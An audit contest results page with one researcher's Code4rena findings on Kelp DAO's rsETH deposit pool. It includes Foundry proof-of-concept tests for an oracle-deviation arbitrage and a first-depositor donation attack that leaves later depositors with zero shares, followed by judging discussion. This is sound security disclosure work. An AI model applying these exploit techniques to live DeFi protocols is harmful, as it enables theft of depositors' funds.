Kelp DAO | rsETH - m_Rassska's results

A collective DAO designed to unlock liquidity, DeFi and higher rewards for restaked assets through liquid restaking.

General Information

Platform: Code4rena

Start Date: 10/11/2023

Pot Size: $28,000 USDC

Total HM: 5

Participants: 185

Period: 5 days

Judge: 0xDjango

Id: 305

League: ETH

Kelp DAO

Findings Distribution

Researcher Performance

Rank: 1/185

Findings: 3

Award: $1,250.90

QA:

grade-a

🌟 Selected for report: 2

🚀 Solo Findings: 0

External Links

Code4rena Contest Page Github Contest Repository Github Findings Repository Kelp DAO

Findings Information

🌟 Selected for report: m_Rassska

Also found by: 0xDING99YA, Aamir, Bauchibred, CatsSecurity, HChang26, PENGUN, SBSecurity, adriro, almurhasan, anarcheuz, circlelooper, d3e4, deth, jayfromthe13th

Labels

bug

3 (High Risk)

high quality report

primary issue

satisfactory

selected for report

sponsor disputed

H-01

Awards

1173.3434 USDC - $1,173.34

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L109

Vulnerability details

Some theory needed:

Currently KelpDAO relies on the following chainlink price feeds in order to calculate rsETH/ETH exchange rate:

	Price Feed	Deviation	Heartbeat
1	rETH/ETH	2%	86400s
2	cbETH/ETH	1%	86400s
3	stETH/ETH	0.5%	86400s

As we can see, an acceptable deviation for rETH/ETH price feed is about [-2% 2%], meaning that the nodes will not update an on-chain price, in case the boundaries are not reached within the 24h period. These deviations are significant enough to open an arbitrage opportunities which will impact an overall rsETH/ETH exchange rate badly.
For a further analysis we have to look at the current LSD market distribution, which is represented here:

	LSD	Staked ETH	Market Share	LRTDepositPool ratio
1	Lido	8.95m	~77.35%	~88.17%
2	Rocket Pool	1.01m	~8.76%	~9.95%
3	Coinbase	190.549	~1.65%	~1.88%

Where LRTDepositPool ratio is an approximate ratio of deposited lsts based on the overall LSD market.

An example of profitable arbitrage:

In order to find an absolute extrema, we have to first understand how rsETH/ETH price is calculted. Let's examine the following:
- $rsETHPrice = \frac{totalEthInPool}{rsEthSupply}, \; where \quad totalEthInPool = \frac{Q'(rETH) + Q''(stETH) + Q'''(cbETH)}{rsETHSupply}$
- Q(amount) - is eth backed by amount of provided LSTs.
For a further calculation convenience, suppose LRTDepositPool has already some liquidity and it's distributed according to the LRTDepositPool ratio:
- $totalEthInPool = \frac{Q'(9.95) + Q''(88.17) + Q'''(1.88)}{(10.85 + 88.08 + 1.98)rsETH}$
Finally, let's consider all extremas of price feed deviations that are acceptable by chainlink nodes within a 24h period:

	rETH/ETH	stETH/ETH	cbETH/ETH
1	-~2%	-~0.5%	-~1%
2	-~2%	-~0.5%	+~1%
3	-~2%	+~0.5%	-~1%
4	-~2%	+~0.5%	+~1%
5	+~2%	-~0.5%	-~1%
6	+~2%	-~0.5%	+~1%
7	+~2%	+~0.5%	-~1%
8	+~2%	+~0.5%	+~1%

In order to profit from such discrepancy, we have to maximize rsethAmountToMint:
- $rsethAmountToMint = \frac{Q(amount)}{rsETHPrice}$
To make it happen, we further have to minimize rsETHPrice or maximize Q(amount).
- Let's first consider minimization of rsETHPrice:
  - $rsETHPrice = \frac{totalEthInPool}{rsEthSupply}$
- Which could be done, if we minimize totalEthInPool:
  - $totalEthInPool = Q'(9.95) + Q''(88.17) + Q'''(1.88) => (10.85 + 88.08 + 1.98)eth ==> ~100.91eth$
- And finally, the minimization of totalEthInPool comes from chainlink price feeds. Let's apply some of our acceptable price feed deviations to see, whether we can minimize totalEthInPool or not.
  - rETH/ETH deviates by +~2%
  - stETH/ETH deviates by -~0.5%
  - cbETH/ETH deviates by -~1%
- where 'totalEthInPool could be calculated as:
  - $'totalEthInPool = 1.02 * Q'(9.95) + 0.995 * Q''(88.17) + 0.99 * Q'''(1.88) => (11.06 + 87.64 + 1.96)eth ==> ~100.66eth$
As we can see, we were able to increase nominator by 2% and the same time - decrease denominator by 0.3% if we supply rETH at specified acceptable deviations config, it will result in increased amount of rsETH shares minted just because of the price discrepancy:
- $rsETHAmountToMint = \frac{1.02 * Q(amount)}{ 0.997 * rsETHPrice}$

Final words:

Basically, price feeds don't have to reach those extreme boundaries in order to profit from it. In theory presented above we where able to get +2.3% profit, which is significant in case there is a huge liquidity supplied. The combination of deviations might be absolutely random, since it operates in set of rational numbers. But it will constantly open a small [+1%; +1.5%] arbitrage opportunities to be exploited.

Proof on Concept

To reproduce the case described above, slightly change:

LRTOracleMock:

contract LRTOracleMock {
  uint256 public price;


  constructor(uint256 _price) {
      price = _price;
  }

  function getAssetPrice(address) external view returns (uint256) {
      return price;
  }

  function submitNewAssetPrice(uint256 _newPrice) external {
      price = _newPrice;
  }
}

setUp():

contract LRTDepositPoolTest is BaseTest, RSETHTest {
LRTDepositPool public lrtDepositPool;

  function setUp() public virtual override(RSETHTest, BaseTest) {
      super.setUp();

      // deploy LRTDepositPool
      ProxyAdmin proxyAdmin = new ProxyAdmin();
      LRTDepositPool contractImpl = new LRTDepositPool();
      TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
          address(contractImpl),
          address(proxyAdmin),
          ""
      );
      
      lrtDepositPool = LRTDepositPool(address(contractProxy));

      // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
      rseth.initialize(address(admin), address(lrtConfig));
      vm.startPrank(admin);
      // add rsETH to LRT config
      lrtConfig.setRSETH(address(rseth));
      // add oracle to LRT config
      lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new LRTOracle()));
      lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
      LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).initialize(address(lrtConfig));


      lrtDepositPool.initialize(address(lrtConfig));
      // add minter role for rseth to lrtDepositPool
      rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

  }
}

test_DepositAsset():

    function test_DepositAsset() external {
      address rETHPriceOracle = address(new LRTOracleMock(1.09149e18));
      address stETHPriceOracle = address(new LRTOracleMock(0.99891e18));
      address cbETHPriceOracle = address(new LRTOracleMock(1.05407e18));
      LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).updatePriceOracleFor(address(rETH), rETHPriceOracle);
      LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).updatePriceOracleFor(address(stETH), stETHPriceOracle);
      LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).updatePriceOracleFor(address(cbETH), cbETHPriceOracle);

      console.log("rETH/ETH exchange rate after", LRTOracleMock(rETHPriceOracle).getAssetPrice(address(0)));
      console.log("stETH/ETH exchange rate after", LRTOracleMock(stETHPriceOracle).getAssetPrice(address(0)));
      console.log("cbETH/ETH exchange rate after", LRTOracleMock(cbETHPriceOracle).getAssetPrice(address(0)));

      vm.startPrank(alice); // alice provides huge amount of liquidity to the pool

      rETH.approve(address(lrtDepositPool), 9950 ether);
      lrtDepositPool.depositAsset(rETHAddress, 9950 ether);

      stETH.approve(address(lrtDepositPool), 88170 ether);
      lrtDepositPool.depositAsset(address(stETH), 88170 ether);

      cbETH.approve(address(lrtDepositPool), 1880 ether);
      lrtDepositPool.depositAsset(address(cbETH), 1880 ether);

      vm.stopPrank();


      vm.startPrank(carol); // carol deposits, when the price feeds return answer pretty close to a spot price

      uint256 carolBalanceBefore = rseth.balanceOf(address(carol));

      rETH.approve(address(lrtDepositPool), 100 ether);
      lrtDepositPool.depositAsset(address(rETH), 100 ether);

      uint256 carolBalanceAfter = rseth.balanceOf(address(carol));

      vm.stopPrank();

      uint256 rETHNewPrice = uint256(LRTOracleMock(rETHPriceOracle).getAssetPrice(address(0))) * 102 / 100; // +2%
      uint256 stETHNewPrice = uint256(LRTOracleMock(stETHPriceOracle).getAssetPrice(address(0))) * 995 / 1000; // -0.5%
      uint256 cbETHNewPrice = uint256(LRTOracleMock(cbETHPriceOracle).getAssetPrice(address(0))) * 99 / 100; // -1%

      LRTOracleMock(rETHPriceOracle).submitNewAssetPrice(rETHNewPrice);
      LRTOracleMock(stETHPriceOracle).submitNewAssetPrice(stETHNewPrice);
      LRTOracleMock(cbETHPriceOracle).submitNewAssetPrice(cbETHNewPrice);

      console.log("rETH/ETH exchange rate after", LRTOracleMock(rETHPriceOracle).getAssetPrice(address(0)));
      console.log("stETH/ETH exchange rate after", LRTOracleMock(stETHPriceOracle).getAssetPrice(address(0)));
      console.log("cbETH/ETH exchange rate after", LRTOracleMock(cbETHPriceOracle).getAssetPrice(address(0)));

      vm.startPrank(bob);

      // bob balance of rsETH before deposit
      uint256 bobBalanceBefore = rseth.balanceOf(address(bob));

      rETH.approve(address(lrtDepositPool), 100 ether);
      lrtDepositPool.depositAsset(address(rETH), 100 ether);

      uint256 bobBalanceAfter = rseth.balanceOf(address(bob));
      vm.stopPrank();

      assertEq(bobBalanceBefore, carolBalanceBefore, "the balances are not the same");
      assertGt(bobBalanceAfter, carolBalanceAfter * 102 / 100, "some random shit happened");
      assertLt(bobBalanceAfter, carolBalanceAfter * 103 / 100, "some random shittttt happened");

    }

Recommended Mitigation Steps

Short term:

Long term:

I was thinking about utilizing multiple price oracles, which could potentially close any profitable opportunities, but the gas overhead and overall complexity grows rapidly. Unfortunately, I don't have anything robust to offer by now, but open to discuss about it.

Assessed type

Math

#0 - c4-pre-sort
2023-11-16T19:45:50Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort
2023-11-16T19:46:10Z

raymondfam marked the issue as duplicate of #284

#2 - c4-pre-sort
2023-11-18T01:29:46Z

raymondfam marked the issue as not a duplicate

#3 - c4-pre-sort
2023-11-18T01:29:53Z

raymondfam marked the issue as high quality report

#4 - c4-pre-sort
2023-11-18T01:29:58Z

raymondfam marked the issue as primary issue

#5 - c4-sponsor
2023-11-24T08:29:48Z

gus-staderlabs (sponsor) disputed

#6 - gus-stdr
2023-11-24T08:31:11Z

We appreciate the explanation at length you have here. We see the arbitrage as a feature rather than a bug in the system. The past 2 year data on the price discrepancy assures us that this is a minor vector that will not impact deposits or withdraws significantly. Moreover, the fact that minters earn nominally more and withdrawals earn nominally less balances the system. We also want to call out that price arbitrage is not a unique problem to our design. It is virtually present across every staking protocol and we encourage healthy arbitrage opportunity here.

#7 - c4-judge
2023-12-01T17:09:06Z

fatherGoose1 marked the issue as unsatisfactory: Invalid

#8 - fatherGoose1
2023-12-01T17:17:53Z

Kelp accepts the arbitrage opportunities resulting from the +/-2% deviation. I also find it unlikely to see price updates of greater than 0.5% variation. rETH/ETH price ration is generally extremely stable as it is essentially pegged and not solely based on supply/demand.

#9 - ding99ya
2023-12-02T18:16:07Z

@fatherGoose1 Thanks for your explanation here! But here I want to clarify two points. 1). 0.5% variation is actually pretty often occurs. For this token pegged to ETH, like stETH, a 0.5% variation is about
0.005 ETH, you can go to https://coinmarketcap.com/currencies/steth/steth/eth/ to check about the stETH/ETH price history and you will see 0.5% variation can occurs even multiple times a day. Which means there can be multiple opportunities for the attacker in just one day to get profit by front-running oracle or exploit the price discrepancy. 2). Even if Kelp accepts the +/- 2% deviation arbitrage, this sacrifices the existing users deposits (since the risk-free profit is from those depositors), especially if the deposited amount is large those can make damage to existing depositors. When the large amount combined with the frequency I mentioned in 1), I think this can result in the problem.

Based on the above two points IMHO this issue and all duplicates should be medium. Thank you!

#10 - d3e4
2023-12-03T03:55:54Z

@fatherGoose1 This issue is a direct theft of funds from current holders and should not be dismissed. It is perhaps quite opaquely described in this report but the end result is that the attacker can immediately withdraw more ETH than he deposited. What effectively happens is that Kelp allows the attacker to implicitly trade one underlying asset for another, at incorrect oracle prices, and profit from the arbitrage, at the cost of previous depositors. A very simple example of this is given in #858. The conditions for this attack are more or less always present, which together with this being a theft of funds I think justifies High. Note that the arbitrage referred to here is within Kelp itself, and not between Kelp and other markets.

What is critical to understand in this issue is that it is about a price discrepancy with at least two different underlying assets. It is not simply about an inaccurate price by itself. Again see #858 for a quick explanation of this and an example.

This issue is not the same as e.g. front-running an oracle price update, which in principle is the same as making a normal trade, buying low and selling high. That may indeed be acceptable and expected. This is what is referred to in the (thus incorrectly) duplicated reports #443 and #284.

#287 and #104 are strangely similar, as if copied and submitted by the same person. In any case they only claim that the oracle is not accurate, which is not sufficient proof for any issue. Curiously, no justification for the use of the word "arbitrage" is provided.

#869, #311 and #91 seem to be simply invalid or provide insufficient proof, and do not describe any of the above problems.

I believe the only valid and correct duplicates of this issue are #584 and #858.

#11 - ding99ya
2023-12-03T04:05:42Z

@d3e4 Your description is clear but I also think frontrunning the oracle price update can also result in the same effect, this is a acknowledged issue by big name protocol like Synthetix, they even have a blog to illustrate about how to deal with it (introduce a delay or add fee when minting). I believe all issues reported here related to oracle frontrun or intrinsic arbitrage result in the same consequence (loss of user deposits) and should be valid, but we can see how the judge determine the severity of the bug.

#12 - ding99ya
2023-12-03T04:15:42Z

And here is the blog I mentioned above from Synthetix: https://blog.synthetix.io/dynamic-exchange-fees-explained/ This issue is such a headache for them so they have to introduce a mechanism to prevent the frontrun. I think it applies here exactly.

#13 - Rassska
2023-12-03T08:06:32Z

@fatherGoose1, and all participants, I'm currently writing scripts in order to extract all the data needed to prove, that such deviations indeed occur quite often. Pls, wait, i'll share everything here asap. Thanks!

#14 - d3e4
2023-12-03T14:11:58Z

@ding99ya I think the oracle update frontrunning should be considered a separate issue. It has nothing to do with a price discrepancy and how this can be exploited when there is more than one underlying.

#15 - ding99ya
2023-12-03T14:26:25Z

@d3e4 I think it can be a separate valid issue but will leave the judge to decide on this. But absolutely it is can be exploited when there are multiple underlying assets like described in #443.

#16 - Rassska
2023-12-03T20:06:22Z

The result of my research

Here is the final .json file: https://gist.github.com/Rassska/007cf94c2fc9a7ba379309e8c91f978f , which contains the following attributes:
- date Apr 12 till Dec 1st with a period of 12 hours
- block Block number which is close to the date
- timestamp date unix format
- stETH_cl_rate an answer from chainlink price feed for stETH/ETH
- rETH_cl_rate an answer from chainlink price feed for rETH/ETH
- cbETH_cl_rate an answer from chainlink price feed for cbETH/ETH
- stETH_spot_rate a spot price from 1inch aggregator for stETH/ETH
- rETH_spot_rate a spot price from 1inch aggregator for rETH/ETH
- cbETH_spot_rate a spot price from 1inch aggregator for cbETH/ETH
- stETH_cl_to_spot_discrepancy_val the diff between chainlink price feed and the spot price in wei for stETH/ETH
- rETH_cl_to_spot_discrepancy_val the diff between chainlink price feed and the spot price in wei for rETH/ETH
- cbETH_cl_to_spot_discrepancy_val the diff between chainlink price feed and the spot price in wei for cbETH/ETH
- stETH_cl_to_spot_discrepancy_perc the diff between chainlink price feed and the spot price in percent for stETH/ETH
- rETH_cl_to_spot_discrepancy_perc the diff between chainlink price feed and the spot price in percent for rETH/ETH
- cbETH_cl_to_spot_discrepancy_perc the diff between chainlink price feed and the spot price in percent for cbETH/ETH

Visual Attachments

As expected, stETH/ETH was the most stable pair in comparison for the last 8 months with a maximum positive discrepancy of 0.006%. However, stETH/ETH pair had some turbulences of a ~0.2% in the past.
- <img width="1253" alt="Screenshot 2023-12-03 at 22 32 27" src="https://github.com/code-423n4/2023-11-kelp-findings/assets/73281386/d64c81e0-0e8a-4fe9-8063-166d9c5d9bcd">
Based on the research made, the cbETH/ETH seems not to be stable as it shown below with a maximum negative discrepancy of ~2.7%.
- <img width="1238" alt="Screenshot 2023-12-03 at 22 47 59" src="https://github.com/code-423n4/2023-11-kelp-findings/assets/73281386/5c086fa5-1204-4e2a-8a41-3941b93919f8">
As of rETH/ETH pair, was surprisingly stable as well with a short raise resulted in a maximum positive discrepancy of ~0.23%.
- <img width="1252" alt="Screenshot 2023-12-03 at 22 54 10" src="https://github.com/code-423n4/2023-11-kelp-findings/assets/73281386/cd2f6c16-195d-40a4-b9e6-ffb29cee1763">

Conclusions

After conducting the research, I'm fully confident, that short raise and dumps happen resulting in even higher discrepancies . Here, I've queried only 467 random blocks, unfortunately, didn't have enough capacity to query more which could've significantly increase the precision of given data.
Yesterday, we had a case, where wstETH/ETH chainlink price feed was reporting significantly inflated exchange rate due to high volume of trades on Balancer. Check out here: https://twitter.com/zerosnacks/status/1731029905477878251?s=46&t=qSDmmWycT2LKOhwGlk5Vmw. That itself resulted in unnecessary liquidations in various protocols which solely relied on chainlink price feeds. It means, that such cases happen all the time and it's better to have protection against such scenarios.

#17 - Rassska
2023-12-03T20:16:00Z

@fatherGoose1, I don't wanna interrogate about the validity, but rather provided an additional context, so that your pov could be more precise on that.

@fatherGoose1, I've asked the devs at Notional about it, turns out they're currently utilizing curve spot price along with the chainlink price feed to cover such anomalies. But anyways, would love to receive some feedback from you as well!

Love you guys, thanks ❤️ !

#18 - Rassska
2023-12-03T23:59:06Z

I'm back. This time, i've tried to run this on ~5500 blocks(every 1 hour) for the last 8 months. Check out an extensive dataset here: https://gist.github.com/Rassska/34963039515106783fa44bb93d5cae93

stETH/ETH, now we see a clear opportunity, where the discrepancy became feasible(0.21%)
- <img width="828" alt="Screenshot 2023-12-04 at 02 53 41" src="https://github.com/code-423n4/2023-11-kelp-findings/assets/73281386/1057ad47-fbbc-48d4-843b-79fc0ef18da4">
rETH/ETH, also gave more variation.
- <img width="1099" alt="Screenshot 2023-12-04 at 02 53 58" src="https://github.com/code-423n4/2023-11-kelp-findings/assets/73281386/ca95c800-ca4b-4a19-b3ba-90fae2e036ae">
cbETH/ETH, no more updates on more data, the same extrema.
- <img width="1102" alt="Screenshot 2023-12-04 at 02 54 12" src="https://github.com/code-423n4/2023-11-kelp-findings/assets/73281386/03b84f3e-2e7b-48d6-b9c3-b1c131e0c629">

#19 - 0xnirlin
2023-12-04T18:35:38Z

#687 is the same issue too, pointing to the same root cause and recommending the same fix.

#20 - d3e4
2023-12-05T10:03:06Z

#687 is the same issue too, pointing to the same root cause and recommending the same fix.

No, it isn't. It is not sufficient that the price is wrong; for example if all underlyings are valued 1% higher then the correct amount will be minted. The recommended fix is not the same and does not solve this issue.

#21 - 0xnirlin
2023-12-05T10:50:34Z

@d3e4 you are not judge too, left the comment for judge not you. C4 categorize issues based on root cause so will let the judge decide.

#22 - fatherGoose1
2023-12-05T18:04:46Z

@d3e4 @ding99ya @Rassska @AhmadDecoded Thank you for your inputs. Please refrain from posting more replies. I am discussing with the Kelp team and will post a decision shortly.

#23 - c4-judge
2023-12-08T17:32:46Z

fatherGoose1 marked the issue as satisfactory

#24 - c4-judge
2023-12-08T17:32:51Z

fatherGoose1 marked the issue as selected for report

#25 - fatherGoose1
2023-12-08T17:37:43Z

This is valid. Depositors will be able to deposit the minimally-priced asset and steal value from the deposit pool. The deviation % and heartbeat are too large and this will open up arbitrage opportunities to the detriment of Kelp's users. When Kelp implements the withdrawal mechanism, we will have a better understanding of the profitability of such an attack. For example, if Kelp implements withdrawals without a staking delay, given the large amount of on-chain liquidity of the underlying assets, the pool may be able to be exploited for large amounts given even a 1% price discrepancy between the different LSTs.

#26 - PlamenTSV
2023-12-08T19:07:06Z

Would issues like https://github.com/code-423n4/2023-11-kelp-findings/issues/127 and https://github.com/code-423n4/2023-11-kelp-findings/issues/32 fall under it's valid category, since it is the price deviation + heartbeat that cause the problem. The above problems and their dupes corelate from them.

#27 - d3e4
2023-12-08T21:12:45Z

@fatherGoose1 Please take what is said in this comment into account as well: https://github.com/code-423n4/2023-11-kelp-findings/issues/584#issuecomment-1837343257. This issue is NOT simply about an inaccurate price. There MUST be more than one underlying for this issue to appear. An incorrect price is NOT an issue in this way in a single asset vault.

#28 - ding99ya
2023-12-08T21:16:54Z

I would also suggest that the valid issues should at least explicitly describe how the funds are stolen or arbitraged, some duplicated ones mentioned here looks too general and just mention a lack of the oracle price check.

#29 - Rassska
2023-12-08T21:39:33Z

Hey @fatherGoose1! Thanks for an additional analysis!

I think, in order to prevent any sort of spray-and-pray findings, would be great to recheck all the duplicates of #584.

First of all, it's clear that, #858, #828, #687 are 100% valid duplicates. Under the question: #865, #443, #284, #300

#443, this one describes an idea of front-running an oracle that delivers the rebase. For instance, in Lido AccountingOracle submits a report once a day at about specific timeframe. So, it's possible to foresee the positive/negative rebase that's about to be occurred and front-run it. Although, it has some common roots, it's not exactly a duplicate. I believe, partial-50 is fair, but i might not see it clearly.

#869, is 100% correct, since describes the core idea, but lacks some details, therefore partial-50 is spot on!

#284, as #443 are about the same story, also looking at the mitigation steps proposed, do not think that they are indeed 100% duplicates. So, partial-50 as for #443 seems fair.

#894, lacks details, but it's correct, partial-50 seems fair.

#609, has some similarities, but lacks details, partial-50 seems fair.

#516, lacks details, but should be correct, partial-50 seems fair.

#300, idk, but seems a valid dup.

#191, lacks details, partial-50 is fair.

#311, unfortunately, report do not mention any price feed discrepancy that could occur, so I believe it should be invalidated. #678, unfortunately, I don't think it's valid duplicate.

Anyways, I would love to receive the feedback from @d3e4, @romeroadrian, @0xcats, just to provide a better context to the judge for further considerations. Thanks!

#30 - ding99ya
2023-12-08T21:46:42Z

@fatherGoose1 Again appreciate your explanation here. I have seen many mentioned the difference between #443 and this one #584, both result in a valid steal of funds but looks like most of wardens think the root cause for #443 (front run) is slightly different than the price deviation for #584, I'm wondering under current C4 rules are these two should be separated issues? Thanks!

#31 - d3e4
2023-12-08T23:40:57Z

@Rassska Any issue not specifically based on there being more than one underlying cannot be considered a duplicate of this issue. Talking about an inaccurate price and handwaving about an impact from this is simply not good enough.

So I disagree about #828 and #687. I also left comments there.

The current duplicates can all be condensed to the following statements:

The price oracle might deviate from the true price.
The price deviation leads to an incorrect amount of rsETH minted.
The price update can be backrun to make a profitable trade (as if predicting the market).
The price deviation in a multi-asset pool leads to an intrinsic arbitrage opportunity.

(1) is simply a fact about Chainlink and not in itself an issue. (2) is not an issue when there is only a single underlying asset. Then the asset is valued the same on deposit as on withdrawal, so the price doesn't matter. (3) might indeed be an issue but it is not the same as this one ((4) / #584). This is an essentially immediate consequence of (2) (since the deviated price eventually must be updated).

#894, #828, #678, #609 and #191 mention only (1) and should therefore be considered invalid/insufficient proof. #869 and #311 are just pure handwaving and do not mention anything substantial at all, and should therefore also be invalidated.

#865, #687, #516 and #300 also mention (2). These should be considered invalid/insufficient proof, or perhaps partial duplicates of #443 and #284 which mention (3). #828 also hints at (3).

The only correct duplicates of #584 are the ones mentioning (4). Only #858 does this.

It bears reiterating: being minted more or less rsETH because of an inaccurate price is NOT an issue in itself. If there is only a single underlying asset this simply implies a conversion factor (like decimals, but not multiples of ten). The issue here critically depends on there being multiple underlying assets.

#32 - 0xnirlin
2023-12-09T03:51:46Z

@d3e4 have you read the project description or c4 rules of duplication?

There isn't a single asset anyway when the project describes that there will be three underlying assets supported at launch that the eigenlayer supports.

#311 issue is the out-of-blue issue here that describes nothing and should be invalidated.

Post-judging QA is over and the judge already gave the verdict so will avoid any further discussion.

#33 - d3e4
2023-12-09T10:09:09Z

There isn't a single asset anyway when the project describes that there will be three underlying assets supported at launch that the eigenlayer supports.

Therefore this must be included in the argument. The issue depends on both the price deviation and the multiplicity of assets. Failure to mention either implies an invalid or inadequate argument.

Findings Information

🌟 Selected for report: Krace

Also found by: 0xDING99YA, 0xrugpull_detector, Aamir, AlexCzm, Aymen0909, Banditx0x, Bauer, CatsSecurity, GREY-HAWK-REACH, Madalad, Phantasmagoria, QiuhaoLi, Ruhum, SBSecurity, SandNallani, SpicyMeatball, T1MOH, TheSchnilch, adam-idarrha, adriro, almurhasan, ast3ros, ayden, bronze_pickaxe, btk, chaduke, ck, crack-the-kelp, critical-or-high, deth, gumgumzum, jasonxiale, joaovwfreire, ke1caM, m_Rassska, mahdirostami, mahyar, max10afternoon, osmanozdemir1, peanuts, pep7siup, peter, ptsanev, qpzm, rouhsamad, rvierdiiev, spark, twcctop, ubl4nk, wisdomn_, zach, zhaojie

Awards

4.6614 USDC - $4.66

Labels

bug

3 (High Risk)

satisfactory

sufficient quality report

duplicate-42

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119-L144

Vulnerability details

In order to calculate rsETH/LST exchange rate, the protocol utilizes the following formula:
- $rsethAmountToMint = Q(amount) * \frac{rsEthSupply}{totalETHInPool}$
  - Q(amount) - is eth backed by amount of provided LST.
Which could be manipulated by obtaining very small amount of shares(e.g. 1wei) and then donating a huge amount of LSTs directly into the pool. Due to the rounding issue, subsequent depositors will receive 0 shares, unless further lst amount provided is not more than amount donated by an attacker.

Proof of Concept

I've slightly modified setUp() in LRTDepositPoolTest.t.sol in order to replace LRTOracleMock with LRTOracle for testing purposes:

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );
        
        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));
        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new LRTOracle()));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).initialize(address(lrtConfig));

        LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).updatePriceOracleFor(address(rETH), address(new LRTOracleMock(1.09149e18)));
        LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).updatePriceOracleFor(address(stETH), address(new LRTOracleMock(0.99891e18)));
        LRTOracle(lrtConfig.getContract(LRTConstants.LRT_ORACLE)).updatePriceOracleFor(address(cbETH), address(new LRTOracleMock(1.05407e18)));

        lrtDepositPool.initialize(address(lrtConfig));
        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

    }

The test to demonstrate an issue:

  function test_DepositAsset() external {
    vm.startPrank(alice);


    rETH.approve(address(lrtDepositPool), 1 wei);
    lrtDepositPool.depositAsset(rETHAddress, 1 wei);

    stETH.transfer(address(lrtDepositPool), 1e19);

    vm.stopPrank();

    vm.startPrank(bob);

    // bob balance of rsETH before deposit
    uint256 bobBalanceBefore = rseth.balanceOf(address(bob));

    stETH.approve(address(lrtDepositPool), 3 ether);
    lrtDepositPool.depositAsset(address(stETH), 3 ether);

    // bob balance of rsETH after deposit
    uint256 bobBalanceAfter = rseth.balanceOf(address(bob));
    vm.stopPrank();

    assertEq(bobBalanceAfter - bobBalanceBefore, 0, "Bob's balance has changed");
}

Logs:

  [PASS] test_DepositAsset() (gas: 379116)
      Logs:
      rsEthSupply:  0
      rsETHPrice:  1000000000000000000
      rsethAmount to mint:  1 // an attacker dropped 1 wei of rETH
      rsEthSupply:  1
      price of asset:  998910000000000000
      total amount of assets in pool:  10000000000000000000 // 10 stETH donated by an attacker
      price of asset:  1091490000000000000
      total amount of assets in pool:  1
      price of asset:  1054070000000000000
      total amount of assets in pool:  0
      total eth in pool:  9989100000000000001091490000000000000
      rsETHPrice:  9989100000000000001091490000000000000 // overinflated price
      rsethAmount to mint:  0 // amount of rsETH shares minted after 3 stETH being deposited

Recommended Mitigation Steps

Short term:
- Mint some amount of dead shares to address(0), when the totalSupply() == 0 as it's done in UniswapV2Pair.sol
- Also, prevent minting 0 amount of shares.
Long term: N/A

Assessed type

ERC4626

#0 - c4-pre-sort
2023-11-16T19:45:03Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort
2023-11-16T19:45:17Z

raymondfam marked the issue as duplicate of #42

#2 - c4-judge
2023-12-01T17:05:36Z

fatherGoose1 marked the issue as satisfactory

Findings Information

🌟 Selected for report: m_Rassska

Also found by: 0x1337, 0xAadi, 0xHelium, 0xLeveler, 0xblackskull, 0xbrett8571, 0xepley, 0xffchain, 0xluckhu, 0xmystery, 0xrugpull_detector, 0xvj, ABAIKUNANBAEV, Aamir, AerialRaider, Amithuddar, Bauchibred, Bauer, CatsSecurity, Cryptor, Daniel526, Draiakoo, Eigenvectors, ElCid, GREY-HAWK-REACH, Inspecktor, Juntao, King_, LinKenji, Madalad, MaslarovK, Matin, MatricksDeCoder, McToady, Noro, PENGUN, Pechenite, Phantasmagoria, RaoulSchaffranek, SBSecurity, SandNallani, Shaheen, Soul22, Stormreckson, T1MOH, Tadev, TeamSS, TheSchnilch, Topmark, Tumelo_Crypto, Udsen, Yanchuan, ZanyBonzy, _thanos1, adeolu, adriro, alexfilippov314, almurhasan, amaechieth, anarcheuz, ayden, baice, bareli, boredpukar, bronze_pickaxe, btk, cartlex_, catellatech, chaduke, cheatc0d3, circlelooper, codynhat, crack-the-kelp, critical-or-high, debo, deepkin, desaperh, dipp, eeshenggoh, evmboi32, ge6a, gesha17, glcanvas, gumgumzum, hals, hihen, hunter_w3b, jasonxiale, joaovwfreire, ke1caM, leegh, lsaudit, marchev, merlinboii, niser93, osmanozdemir1, paritomarrr, passion, pep7siup, phoenixV110, pipidu83, poneta, ro1sharkm, rouhsamad, rvierdiiev, sakshamguruji, seerether, shealtielanz, soliditytaker, spark, squeaky_cactus, stackachu, supersizer0x, tallo, taner2344, turvy_fuzz, twcctop, ubl4nk, wisdomn_, xAriextz, zach, zhaojie, zhaojohnson, ziyou-

Awards

72.9028 USDC - $72.90

Labels

bug

grade-a

high quality report

QA (Quality Assurance)

selected for report

Q-43

External Links

Link to GitHub issue

Overall Analysis

About the Protocol

KelpDAO is a collective DAO designed to unlock liquidity, DeFi and higher rewards for restaked assets.

Low Severity Issues

Non-Critical Severity Issues
- [N-01] There is no need to guard with nonReentrant
- [N-02] Introduce removeNodeDelegatorToQueue

